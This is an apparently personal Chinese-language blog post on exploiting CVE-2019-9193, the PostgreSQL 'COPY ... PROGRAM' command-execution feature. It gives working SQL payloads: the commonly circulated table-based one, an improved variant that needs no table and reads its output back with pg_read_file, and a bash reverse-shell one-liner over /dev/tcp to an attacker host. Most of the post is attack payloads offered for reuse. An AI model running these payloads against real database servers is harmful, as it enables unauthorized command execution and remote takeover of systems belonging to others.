前言

碰巧碰到了这个洞,而且环境有点限制,但网上只有最基础的payload,所以有了这篇博客

CVE-2019-9193

PostgreSQL 其 9.3 到 11 版本中存在一处"特性",管理员或具有"COPY TO/FROM PROGRAM"权限的用户,可以使用这个特性执行任意命令。
利用条件

  • 版本9.3-11.2
  • 超级用户或者pg_read_server_files组中的任何用户

利用条件中只需要有superuser权限即可,其他如createrole,createdb,这些权限即使没有也没问题

网上的payload:

CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

这个漏洞的关键其实只在于PROGRAM这个选项,PROGRAM选项启用后,服务器会从指定的这个程序进行输入或是写入该程序作为输出。
看一下他的文档:

  • PROGRAM:需执行的程序名。在COPY FROM命令中,输入是从程序的标准输出中读取,而在COPY TO中,命令的输出会作为程序的标准输入。

而payload中COPY cmd_exec FROM PROGRAM 'id';这一句,是命令执行结果输出到cmd_exec表中,这就产生第一个问题:

  • 无法创建新表时,这个payload还能使用吗?

实际上,命令执行的优先级是最高的,即使cmd_exec这个表不存在,他也会先执行命令再报错
而想将回显输入一个现有的表时,我们会发现结果只能存入一个text类型的字段,并且对表的结构有要求,这也就是为什么要先创建一个表的原因。

那我们可以直接舍弃输入表这个过程:
new payload:

COPY (SELECT 1) to PROGRAM 'echo `id`>/tmp/1';

这样一来,即使不创建表也可以执行命令,再配合select pg_read_file('/tmp/1');就能读取出结果
无回显情况下可以直接反弹shell:COPY (SELECT 1) to PROGRAM 'bash -c "bash -i >& /dev/tcp/ip/7777 0>&1"';

结语

漏洞还是要多了解原理,不能只看网上的payload


"孓然一身 , 了无牵挂"